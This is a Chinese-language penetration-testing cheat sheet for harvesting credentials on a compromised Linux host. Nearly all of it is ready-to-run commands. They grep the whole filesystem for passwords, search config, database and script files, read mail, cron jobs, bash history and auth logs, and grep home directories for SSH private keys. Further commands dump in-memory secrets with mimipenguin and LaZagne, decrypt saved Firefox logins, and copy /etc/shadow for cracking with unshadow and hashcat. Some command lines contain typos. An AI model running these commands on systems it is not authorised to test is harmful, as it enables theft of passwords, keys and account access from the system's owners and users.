:::tips 这个漏洞就不用多说了,就是无脑查找所有文件中可能存在漏洞的程序

:::

我们可以获得密码的来源分为:
Files History Memory Key-Rings
配置 日志 缓存 浏览器存储的凭据
数据库 命令行历史 内存处理
笔记
脚本
源代码
定时任务
SSH 密钥
  1. grep color=auto -rnw ‘/’ -ie PASSWORD\|PASSWD color=always 2> /dev/null
  2. find . -type f -exec grep -i -I PASSWORD\|PASSWD {} /dev/null \;
  3. locate config.php
  4. locate password; locate passwd
  5. cat /var/mail/*; cat var/spol/mail
  6. locate config.
  7. crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron; cat /etc/cron; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny; cat /etc/crontab; cat /etc/anacrontab; cat /var/spool/cron/crontabs/root

Linux 凭据搜索

1. 文件

  1. # 配置文件搜索
  2. for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
  3. # 配置文件中的凭据
  4. for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
  5. # 数据库
  6. for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
  7. # 笔记
  8. find /home/* -type f -name "*.txt" -o ! -name "*.*"
  9. # 脚本
  10. for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
  11. # 定时任务
  12. cat /etc/crontab
  13. # SSH 私钥
  14. grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
  15. # SSH 公钥
  16. grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

2. 历史

  1. # 命令行历史
  2. tail -n5 /home/*/.bash*
  3. # 日志
  4. for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
日志文件 描述
/var/log/messages 通用系统活动日志。
/var/log/syslog 通用系统活动日志。
/var/log/auth.log (Debian) 所有与身份验证相关的日志。
/var/log/secure (RedHat/CentOS) 所有认证相关的日志。
/var/log/boot.log 引导信息。
/var/log/dmesg 硬件和驱动程序相关信息和日志。
/var/log/kern.log 内核相关的警告、错误和日志。
/var/log/faillog 登录尝试失败。
/var/log/cron 与 cron 作业相关的信息。
/var/log/mail.log 所有邮件服务器相关的日志。
/var/log/httpd 所有 Apache 相关的日志。
/var/log/mysqld.log 所有 MySQL 服务器相关的日志。

3. 内存

许多应用程序和进程使用户身份验证所需凭据,并将其存储在内存或文件中,方便重复利用。我们在 Linux 中可以使用 mimipenguin 工具,此工具需要管理员 /root 权限
  1. # 使用 mimipenguin
  2. sudo python3 mimipenguin.py
  3. sudo bash mimipenguin.sh
  4. # 使用 LaZagne
  5. sudo python2.7 laZagne.py all

4. 浏览器

浏览器将用户保存的密码以加密形式存储在系统本地以供重复使用。例如,Mozilla Firefox浏览器将加密的凭据存储在相应用户的隐藏文件夹中。这些通常包括相关的字段名称、URL 和其他有价值的信息。 我们可以将这些加密信息获取,然后使用 Firefox Decrypt 进行解密
  1. ls -l .mozilla/firefox/ | grep default
  2. cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .
  3. # 使用工具 firefox_decrypt
  4. python3.9 firefox_decrypt.py
  5. # 使用 laZagne
  6. python3 laZagne.py browsers

passwd&shadow&Opasswd

看理论介绍

破解 Linux 凭证

  1. # UnShadow
  2. sudo cp /etc/passwd /tmp/passwd.bak
  3. sudo cp /etc/shadow /tmp/shadow.bak
  4. unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
  5. # 破解 hash
  6. hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked